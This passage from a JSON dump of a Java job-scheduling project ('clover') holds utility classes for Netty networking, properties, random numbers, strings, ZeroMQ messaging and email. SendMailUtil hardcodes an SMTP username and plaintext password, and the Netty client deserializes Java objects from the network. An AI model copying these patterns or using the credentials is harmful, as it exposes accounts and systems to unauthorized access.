Integer.parseInt(address.substring(i + 1));\r\n        } else {\r\n            host = address;\r\n            port = 0;\r\n        }\r\n        return new InetSocketAddress(host, port);\r\n    }\r\n\r\n    public static String toURL(String protocol, String host, int port, String path) {\r\n        StringBuilder sb = new StringBuilder();\r\n        sb.append(protocol).append(\"://\");\r\n        sb.append(host).append(':').append(port);\r\n        if (path.charAt(0) != '/')\r\n            sb.append('/');\r\n        sb.append(path);\r\n        return sb.toString();\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/NettyUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport com.gome.clover.common.netty.client.SubReqClientHandel;\r\nimport io.netty.bootstrap.Bootstrap;\r\nimport io.netty.channel.ChannelFuture;\r\nimport io.netty.channel.ChannelInitializer;\r\nimport io.netty.channel.ChannelOption;\r\nimport io.netty.channel.EventLoopGroup;\r\nimport io.netty.channel.nio.NioEventLoopGroup;\r\nimport io.netty.channel.socket.SocketChannel;\r\nimport io.netty.channel.socket.nio.NioSocketChannel;\r\nimport io.netty.handler.codec.serialization.ClassResolvers;\r\nimport io.netty.handler.codec.serialization.ObjectDecoder;\r\nimport io.netty.handler.codec.serialization.ObjectEncoder;\r\n\r\n/**\r\n * Created by xiaoxiangxu on 2015/3/27.\r\n */\r\npublic class NettyUtil {\r\n\r\n    public void nettyReqClientConnect(int port,String host)throws Exception{\r\n\r\n        EventLoopGroup clientGroup= new NioEventLoopGroup();\r\n\r\n        try{\r\n\r\n            Bootstrap b= new Bootstrap();\r\n            b.group(clientGroup).\r\n                    channel(NioSocketChannel.class)\r\n                    .option(ChannelOption.TCP_NODELAY, true)//表示持续发送TCP数据包 而不是等到一定大小才发送\r\n                    .handler(new ChannelInitializer<SocketChannel>() {\r\n                        @Override\r\n                        protected void initChannel(SocketChannel ch) throws Exception {\r\n                            // TODO Auto-generated method stub\r\n                            ch.pipeline().addLast(new ObjectDecoder(1024 * 1024, ClassResolvers.softCachingConcurrentResolver(this.getClass().getClassLoader())));\r\n                            ch.pipeline().addLast(new ObjectEncoder());\r\n                            ch.pipeline().addLast(new SubReqClientHandel());\r\n\r\n                        }\r\n                    });\r\n            // 等待完成 连接\r\n            ChannelFuture f=b.connect(host,port).sync();\r\n            //等待 客户端 链路关闭\r\n            f.channel().closeFuture().sync();\r\n        }finally{\r\n            clientGroup.shutdownGracefully();\r\n        }\r\n    }\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/ProgressUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport java.lang.management.ManagementFactory;\r\nimport java.lang.management.RuntimeMXBean;\r\nimport java.util.Random;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ProgressUtil\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class ProgressUtil {\r\n\tpublic static void main(String[] args) throws InterruptedException {\r\n\t\tSystem.out.println(getRunTimeInfo());\r\n\t\tSystem.out.println(getPid());\r\n\t\tThread.sleep(1000000000000000L);\r\n\t}\r\n\r\n\tpublic static int getPid() {\r\n\t\tString info = getRunTimeInfo();\r\n\t\tint pid = new Random().nextInt();\r\n\t\tint index = info.indexOf(\"@\");\r\n\t\tif (index > 0) {\r\n\t\t\tpid = Integer.parseInt(info.substring(0, index));\r\n\t\t}\r\n\t\treturn pid;\r\n\t}\r\n\r\n\tpublic static String getRunTimeInfo() {\r\n\t\tRuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();\r\n\t\tString info = runtime.getName();\r\n\t\treturn info;\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/PropertiesUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.io.*;\r\nimport java.util.Properties;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Properties 工具类\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class PropertiesUtil {\r\n    private static transient Logger logger = LoggerFactory.getLogger(PropertiesUtil.class);\r\n    public static Properties loadProperties(){\r\n        Properties properties = new Properties();\r\n        InputStream in = null;\r\n        try {\r\n            in = Thread.currentThread().getContextClassLoader().getResourceAsStream(\"zkConfig.properties\");\r\n            properties.load(in);\r\n        } catch (Exception e) {\r\n            if(logger.isDebugEnabled())e.printStackTrace();\r\n            logger.error(\"loadProperties()方法异常\",e);\r\n        }finally {\r\n            if(null != in ){\r\n                try {\r\n                    in.close();\r\n                } catch (IOException e) {\r\n                    if(logger.isDebugEnabled()) e.printStackTrace();\r\n                    logger.error(\"close InputStream方法异常\",e);\r\n                }\r\n            }\r\n        }\r\n        return  properties;\r\n    }\r\n    public static Properties  loadProperties(String propertiesPath){\r\n        Properties properties = new Properties();\r\n        InputStream in = null;\r\n        try {\r\n            in = Thread.currentThread().getContextClassLoader().getResourceAsStream(propertiesPath);\r\n            properties.load(in);\r\n        } catch (Exception e) {\r\n            if(logger.isDebugEnabled())e.printStackTrace();\r\n            logger.error(\"loadProperties(\"+propertiesPath+\")方法异常\",e);\r\n        }finally {\r\n            if(null != in ){\r\n                try {\r\n                    in.close();\r\n                } catch (IOException e) {\r\n                    if(logger.isDebugEnabled()) e.printStackTrace();\r\n                    logger.error(\"close InputStream方法异常\",e);\r\n                }\r\n            }\r\n        }\r\n        return  properties;\r\n    }\r\n\r\n    public static boolean writePropertiesFile(String propertiesRealPath,Properties properties){\r\n        OutputStream outputStream = null;\r\n        try {\r\n             outputStream = new FileOutputStream(propertiesRealPath);\r\n             properties.store(outputStream,\"\");\r\n        } catch (FileNotFoundException e) {\r\n            e.printStackTrace();\r\n            return false;\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n            return false;\r\n        } finally {\r\n            try {\r\n                outputStream.close();\r\n            } catch (IOException e) {\r\n                e.printStackTrace();\r\n                return false;\r\n            }\r\n        }\r\n        return true;\r\n    }\r\n    public static void main(String args[]){\r\n        String filePath = /*System.getProperty(\"user.dir\") + File.separator+*/\"zkConfig.properties\";\r\n        System.out.println(PropertiesUtil.loadProperties(filePath));\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/RandomNumUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport java.util.Random;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Random NumUtil\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/4\r\n * Time: 21:48\r\n */\r\npublic class RandomNumUtil {\r\n    private static final int DEFAULT_MIX_INT_VALUE = 9000;\r\n    private static final int DEFAULT_MAX_INT_VALUE = 0xFFFF;\r\n\r\n    public static int getNextInt() {\r\n        synchronized (RandomNumUtil.class) {\r\n            //ThreadLocalRandom.current().nextInt(0,65535);\r\n            return new Random().nextInt(DEFAULT_MAX_INT_VALUE) % (DEFAULT_MAX_INT_VALUE - DEFAULT_MIX_INT_VALUE + 1) + DEFAULT_MIX_INT_VALUE;\r\n        }\r\n    }\r\n\r\n    public static String getNextIntString() {\r\n        synchronized (RandomNumUtil.class) {\r\n            return String.valueOf(getNextInt());\r\n        }\r\n    }\r\n\r\n    public static long getNextLong() {\r\n        synchronized (RandomNumUtil.class) {\r\n            return new Random(DEFAULT_MAX_INT_VALUE).nextLong() % (DEFAULT_MAX_INT_VALUE - DEFAULT_MIX_INT_VALUE + 1) + DEFAULT_MIX_INT_VALUE;\r\n        }\r\n    }\r\n    public static String getNextLongString() {\r\n        synchronized (RandomNumUtil.class) {\r\n            return String.valueOf(getNextLong());\r\n        }\r\n    }\r\n\r\n    public static int getNextInt(int minValue, int maxValue) {\r\n        synchronized (RandomNumUtil.class) {\r\n            return new Random().nextInt(maxValue) % (maxValue - minValue + 1) + minValue;\r\n        }\r\n    }\r\n\r\n    public static String getNextIntString(int minValue, int maxValue) {\r\n        synchronized (RandomNumUtil.class) {\r\n            return String.valueOf(getNextInt(minValue, maxValue));\r\n        }\r\n    }\r\n\r\n    public static long getNextLong(long minValue, long maxValue) {\r\n        synchronized (RandomNumUtil.class) {\r\n            return new Random(minValue).nextLong() % (maxValue - minValue + 1) + minValue;\r\n        }\r\n    }\r\n\r\n    public static String getNextLongString(long minValue, long maxValue) {\r\n        synchronized (RandomNumUtil.class) {\r\n            return String.valueOf(getNextLong(minValue, maxValue));\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/SendMailUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBCursor;\r\n\r\nimport javax.activation.DataHandler;\r\nimport javax.activation.DataSource;\r\nimport javax.activation.FileDataSource;\r\nimport javax.mail.*;\r\nimport javax.mail.internet.InternetAddress;\r\nimport javax.mail.internet.MimeBodyPart;\r\nimport javax.mail.internet.MimeMessage;\r\nimport javax.mail.internet.MimeMultipart;\r\nimport java.util.Date;\r\nimport java.util.Properties;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:SendMailUtil\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic class SendMailUtil{\r\n\r\n\t// 设置发件人的邮箱信息，邮件服务器地址\r\n\tprivate static String mailAddress = \"atg_gcc@yolo24.com\";\r\n\tprivate static String mailCount = \"atg_gcc\"; // @前的邮件地址和用户名要一致\r\n\tprivate static String mailPassword = \"123.com\";\r\n\tprivate static String mailServer = \"mail.yolo24.com\";\r\n\r\n\t/**\r\n\t * 发送简单邮件\r\n\t * \r\n\t * @param str_to\r\n\t *            :收件人地址\r\n\t * @param str_title\r\n\t *            ：邮件标题\r\n\t * @param str_content\r\n\t *            ：邮件正文\r\n\t */\r\n\tpublic static void send(String str_to, String str_title, String str_content)\r\n\t{\r\n\t\ttry\r\n\t\t{\r\n\t\t\t// 建立邮件会话\r\n\t\t\tProperties props = new Properties(); // 用来在一个文件中存储键-值对的，其中键和值是用等号分隔的，\r\n\t\t\t// 存储发送邮件服务器的信息\r\n\t\t\tprops.put(\"mail.smtp.host\", mailServer);\r\n\t\t\t// 同时通过验证\r\n\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\r\n\t\t\t// 根据属性新建一个邮件会话\r\n\t\t\tSession s = Session.getInstance(props);\r\n\t\t\ts.setDebug(true); // 有他会打印一些调试信息。\r\n\r\n\t\t\t// 由邮件会话新建一个消息对象\r\n\t\t\tMimeMessage message = new MimeMessage(s);\r\n\r\n\t\t\t// 设置邮件\r\n\t\t\tInternetAddress from = new InternetAddress(mailAddress);\r\n\t\t\tmessage.setFrom(from); // 设置发件人的地址\r\n\r\n\t\t\t// 设置收件人,并设置其接收类型为TO\r\n\t\t\tInternetAddress to = new InternetAddress(str_to);\r\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, to);\r\n\r\n\t\t\t// 设置标题\r\n\t\t\tmessage.setSubject(str_title);\r\n\r\n\t\t\t// 设置信件内容\r\n\t\t\tmessage.setContent(str_content, \"text/html;charset=gbk\"); // 发送HTML邮件\r\n\r\n\t\t\t// 设置发信时间\r\n\t\t\tmessage.setSentDate(new Date());\r\n\r\n\t\t\t// 存储邮件信息\r\n\t\t\tmessage.saveChanges();\r\n\r\n\t\t\t// 发送邮件\r\n\t\t\tTransport transport = s.getTransport(\"smtp\");\r\n\t\t\t// 以smtp方式登录邮箱,第一个参数是发送邮件用的邮件服务器SMTP地址,第二个参数为用户名,第三个参数为密码\r\n\t\t\ttransport.connect(mailServer, mailCount, mailPassword);\r\n\t\t\t// 发送邮件,其中第二个参数是所有已设好的收件人地址\r\n\t\t\ttransport.sendMessage(message, message.getAllRecipients());\r\n\t\t\ttransport.close();\r\n\t\t}\r\n\t\tcatch (Exception e)\r\n\t\t{\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * @desc 发送附件邮件\r\n\t * @param str_to\r\n\t * @param str_title\r\n\t * @param str_content\r\n\t * @param fileName\r\n\t */\r\n\tpublic static void sendEmailAttachment(String[] str_to, String str_title,\r\n\t\t\tString str_content, String filePath, String fileName)\r\n\t{\r\n\t\ttry\r\n\t\t{\r\n\t\t\ttry\r\n\t\t\t{\r\n\t\t\t\t// 建立邮件会话\r\n\t\t\t\tProperties props = new Properties(); // 用来在一个文件中存储键-值对的，其中键和值是用等号分隔的，\r\n\t\t\t\t// 存储发送邮件服务器的信息\r\n\t\t\t\tprops.put(\"mail.smtp.host\", mailServer);\r\n\t\t\t\t// 同时通过验证\r\n\t\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\r\n\t\t\t\t// 根据属性新建一个邮件会话\r\n\t\t\t\tSession s = Session.getInstance(props);\r\n\t\t\t\ts.setDebug(true); // 有他会打印一些调试信息。\r\n\r\n\t\t\t\t// 由邮件会话新建一个消息对象\r\n\t\t\t\tMimeMessage message = new MimeMessage(s);\r\n\r\n\t\t\t\t// 设置邮件\r\n\t\t\t\tInternetAddress from = new InternetAddress(mailAddress);\r\n\t\t\t\tmessage.setFrom(from); // 设置发件人的地址\r\n\r\n\t\t\t\t// 临时添加，测试群发\r\n\t\t\t\tInternetAddress[] internetAddrs = new InternetAddress[str_to.length];\r\n\t\t\t\tfor (int i = 0; i < str_to.length; i++)\r\n\t\t\t\t{\r\n\t\t\t\t\tinternetAddrs[i] = new InternetAddress(str_to[i]);\r\n\t\t\t\t}\r\n\t\t\t\tmessage.setRecipients(Message.RecipientType.TO, internetAddrs);\r\n\r\n\t\t\t\t// 设置标题\r\n\t\t\t\tmessage.setSubject(str_title);\r\n\r\n\t\t\t\t// 设置信件内容\r\n\t\t\t\t// 向multipart对象中添加邮件的各个部分内容，包括文本内容和附件\r\n\t\t\t\tMultipart multipart = new MimeMultipart();\r\n\t\t\t\tBodyPart contentPart = new MimeBodyPart();\r\n\t\t\t\tcontentPart.setText(str_content);\r\n\t\t\t\tmultipart.addBodyPart(contentPart);\r\n\t\t\t\t// 添加附件\r\n\t\t\t\tBodyPart messageBodyPart = new MimeBodyPart();\r\n\t\t\t\tDataSource source = new FileDataSource(filePath);// 路径和文件名\r\n\t\t\t\t// 添加附件的内容\r\n\t\t\t\tmessageBodyPart.setDataHandler(new DataHandler(source));\r\n\t\t\t\t// 添加附件的标题\r\n\t\t\t\t// 这里很重要，通过下面的Base64编码的转换可以保证你的中文附件标题名在发送时不会变成乱码\r\n\t\t\t\tsun.misc.BASE64Encoder enc = new sun.misc.BASE64Encoder();\r\n\t\t\t\tmessageBodyPart.setFileName(\"=?GBK?B?\"\r\n\t\t\t\t\t\t+ enc.encode(fileName.getBytes()) + \"?=\");\r\n\t\t\t\tmultipart.addBodyPart(messageBodyPart);\r\n\r\n\t\t\t\tmessage.setContent(multipart);\r\n\r\n\t\t\t\t// 设置发信时间\r\n\t\t\t\tmessage.setSentDate(new Date());\r\n\r\n\t\t\t\t// 存储邮件信息\r\n\t\t\t\tmessage.saveChanges();\r\n\r\n\t\t\t\t// 发送邮件\r\n\t\t\t\tTransport transport = s.getTransport(\"smtp\");\r\n\t\t\t\t// 以smtp方式登录邮箱,第一个参数是发送邮件用的邮件服务器SMTP地址,第二个参数为用户名,第三个参数为密码\r\n\t\t\t\ttransport.connect(mailServer, mailCount, mailPassword);\r\n\t\t\t\t// 发送邮件,其中第二个参数是所有已设好的收件人地址\r\n\t\t\t\ttransport.sendMessage(message, message.getAllRecipients());\r\n\t\t\t\ttransport.close();\r\n\t\t\t}\r\n\t\t\tcatch (Exception e)\r\n\t\t\t{\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t}\r\n\t\tcatch (Exception e)\r\n\t\t{\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * 实现邮件的群发\r\n\t * \r\n\t * @param str_to\r\n\t *            ：收件人地址列表\r\n\t * @param str_title\r\n\t *            ：邮件标题\r\n\t * @param str_content\r\n\t *            :邮件正文\r\n\t */\r\n\tpublic static void sendMails(String[] str_to, String str_title,\r\n\t\t\tString str_content)\r\n\t{\r\n\t\ttry\r\n\t\t{\r\n\t\t\t// 建立邮件会话\r\n\t\t\tProperties props = new Properties(); // 用来在一个文件中存储键-值对的，其中键和值是用等号分隔的，\r\n\t\t\t// 存储发送邮件服务器的信息\r\n\t\t\tprops.put(\"mail.smtp.host\", mailServer);\r\n\t\t\t// 同时通过验证\r\n\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\r\n\t\t\t// 根据属性新建一个邮件会话\r\n\t\t\tSession s = Session.getInstance(props);\r\n\t\t\ts.setDebug(true); // 有他会打印一些调试信息。\r\n\r\n\t\t\t// 由邮件会话新建一个消息对象\r\n\t\t\tMimeMessage message = new MimeMessage(s);\r\n\r\n\t\t\t// 设置邮件\r\n\t\t\tInternetAddress from = new InternetAddress(mailAddress);\r\n\t\t\tmessage.setFrom(from); // 设置发件人的地址\r\n\r\n\t\t\t// 临时添加，测试群发\r\n\t\t\tInternetAddress[] internetAddrs = new InternetAddress[str_to.length];\r\n\t\t\tfor (int i = 0; i < str_to.length; i++)\r\n\t\t\t{\r\n\t\t\t\tinternetAddrs[i] = new InternetAddress(str_to[i]);\r\n\t\t\t}\r\n\t\t\tmessage.setRecipients(Message.RecipientType.TO, internetAddrs);\r\n\r\n\t\t\t// 设置标题\r\n\t\t\tmessage.setSubject(str_title);\r\n\r\n\t\t\t// 设置信件内容\r\n\t\t\t// message.setText(str_content); //发送文本邮件\r\n\t\t\tmessage.setContent(str_content, \"text/html;charset=gbk\"); // 发送HTML邮件\r\n\t\t\t// 设置发信时间\r\n\t\t\tmessage.setSentDate(new Date());\r\n\r\n\t\t\t// 存储邮件信息\r\n\t\t\tmessage.saveChanges();\r\n\r\n\t\t\t// 发送邮件\r\n\t\t\tTransport transport = s.getTransport(\"smtp\");\r\n\t\t\t// 以smtp方式登录邮箱,第一个参数是发送邮件用的邮件服务器SMTP地址,第二个参数为用户名,第三个参数为密码\r\n\t\t\ttransport.connect(mailServer, mailCount, mailPassword);\r\n\t\t\t// 发送邮件,其中第二个参数是所有已设好的收件人地址\r\n\t\t\ttransport.sendMessage(message, message.getAllRecipients());\r\n\t\t\ttransport.close();\r\n\t\t}\r\n\t\tcatch (Exception e)\r\n\t\t{\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t}\r\n\tpublic static void sendDefaultMail(String title,String content){\r\n\t\tString [] companyEmails =CommonConstants.DEFAULT_COMPANY_EMAIL.split(\",\");\r\n\t\tString [] privateEmails =CommonConstants.DEFAULT_PRIVATE_EMAIL.split(\",\");\r\n\t\tint companyEmailLen = companyEmails.length;\r\n\t\tint len = companyEmailLen+privateEmails.length;\r\n\t\tString[] str_to = new String[len];\r\n\t\tfor(int i =0 ;i<len;i++){\r\n\t\t\tif(i < companyEmailLen){\r\n\t\t\t\tstr_to[i] = companyEmails[i];\r\n\t\t\t}else {\r\n\t\t\t\tstr_to[i] = privateEmails[i-companyEmailLen];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(null!=str_to && str_to.length>0){\r\n\t\t\tsendMails(str_to,title,content);\r\n\t\t}\r\n\t}\r\n\r\n\tpublic static void sendMailByJobKey(String jobKey,String title,String content){\r\n\t\tBasicDBObject dbObject = new BasicDBObject();\r\n\t\tdbObject.put(DBTableInfo.COL_JOB_KEY,jobKey);\r\n\t\tDBCursor cursorDocMap = MongoDBUtil.INSTANCE.findByCondition(dbObject, DBTableInfo.TBL_CLOVER_CONTACT);\r\n\t\tint index = 0;\r\n\t\tString[] strTo = new String[cursorDocMap.count()];\r\n\t\twhile (cursorDocMap.hasNext()) {\r\n\t\t\tstrTo[index] = (String) cursorDocMap.next().get(DBTableInfo.COL_EMAIL);\r\n\t\t\tindex++;\r\n\t\t}\r\n\t\tif(strTo.length>0){\r\n\t\t\tsendMails(strTo,title,content);\r\n\t\t}\r\n\t}\r\n\r\n\tpublic static void main(String args[]){\r\n\t\t//SendMailUtil.sendMailByJobKey(\"abc.cba\",\"test\",\"test test test\");\r\n\t\tSendMailUtil.sendDefaultMail(\"test\", \"test test test\");\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/StringUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:String Util\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/10\r\n * Time: 11:28\r\n */\r\npublic class StringUtil {\r\n\r\n    public static boolean isEmpty(String str) {\r\n        String trimStr = trim(str);\r\n        return trimStr == null || trimStr.length() == 0;\r\n    }\r\n\r\n    public static boolean isNotEmpty(String str) {\r\n        String trimStr = trim(str);\r\n        return !isEmpty(trimStr);\r\n    }\r\n\r\n    public static boolean isBlank(String str) {\r\n        String trimStr = trim(str);\r\n        int strLen;\r\n        if (trimStr == null || (strLen = trimStr.length()) == 0) {\r\n            return true;\r\n        }\r\n        for (int i = 0; i < strLen; i++) {\r\n            if ((Character.isWhitespace(trimStr.charAt(i)) == false)) {\r\n                return false;\r\n            }\r\n        }\r\n        return true;\r\n    }\r\n\r\n    public static boolean isNotBlank(String str) {\r\n        return !isBlank(str);\r\n    }\r\n\r\n    public static String clean(String str) {\r\n        return str == null ? \"\" : str.trim();\r\n    }\r\n\r\n    public static String trim(String str) {\r\n        return str == null ? null : str.trim();\r\n    }\r\n    public static String[] split(String str, char separatorChar) {\r\n        return splitWorker(str, separatorChar, false);\r\n    }\r\n\r\n    private static String[] splitWorker(String str, char separatorChar, boolean preserveAllTokens) {\r\n        // Performance tuned for 2.0 (JDK1.4)\r\n\r\n        if (str == null) {\r\n            return null;\r\n        }\r\n        int len = str.length();\r\n        if (len == 0) {\r\n            return new String[0];\r\n        }\r\n        List list = new ArrayList();\r\n        int i = 0, start = 0;\r\n        boolean match = false;\r\n        boolean lastMatch = false;\r\n        while (i < len) {\r\n            if (str.charAt(i) == separatorChar) {\r\n                if (match || preserveAllTokens) {\r\n                    list.add(str.substring(start, i));\r\n                    match = false;\r\n                    lastMatch = true;\r\n                }\r\n                start = ++i;\r\n                continue;\r\n            }\r\n            lastMatch = false;\r\n            match = true;\r\n            i++;\r\n        }\r\n        if (match || (preserveAllTokens && lastMatch)) {\r\n            list.add(str.substring(start, i));\r\n        }\r\n        return (String[]) list.toArray(new String[list.size()]);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/AsyncSendMsg.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.io.IOException;\r\nimport java.net.Socket;\r\nimport java.util.concurrent.LinkedBlockingQueue;\r\nimport java.util.concurrent.ThreadPoolExecutor;\r\nimport java.util.concurrent.TimeUnit;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ASync Send Msg\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/29\r\n * Time: 21:23\r\n */\r\npublic class AsyncSendMsg {\r\n    private static final Logger logger = LoggerFactory.getLogger(AsyncSendMsg.class);\r\n    private static ThreadPoolExecutor pool = null; //线程池\r\n    private static final int  POOL_SIZE = Runtime.getRuntime().availableProcessors()*2 ;\r\n\r\n    public static boolean send(String ip, String port, String msg) {\r\n        Socket socket = null;\r\n        try {\r\n            socket = new Socket(ip, Integer.valueOf(port));//为了防止出现 zk节点信息变更延迟而出现client端已停止服务,但server端还发消息给client端\r\n            if (socket.isConnected()) {\r\n                String addr = \"tcp://\" + ip + \":\" + port;\r\n                ZeroMQPush.INSTANCE.send(addr, msg);\r\n                return true;\r\n            } else {\r\n                return false;\r\n            }\r\n        } catch (IOException e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            System.err.println(\"SyncSendMsg-->>send(String ip,String port,String msg) error,\" + e.getMessage());\r\n            logger.error(\"SyncSendMsg-->>send(String ip,String port,String msg) error,\" + e.getMessage());\r\n            return false;\r\n        } finally {\r\n            if (null != socket && !socket.isClosed()) {\r\n                try {\r\n                    socket.close();\r\n                } catch 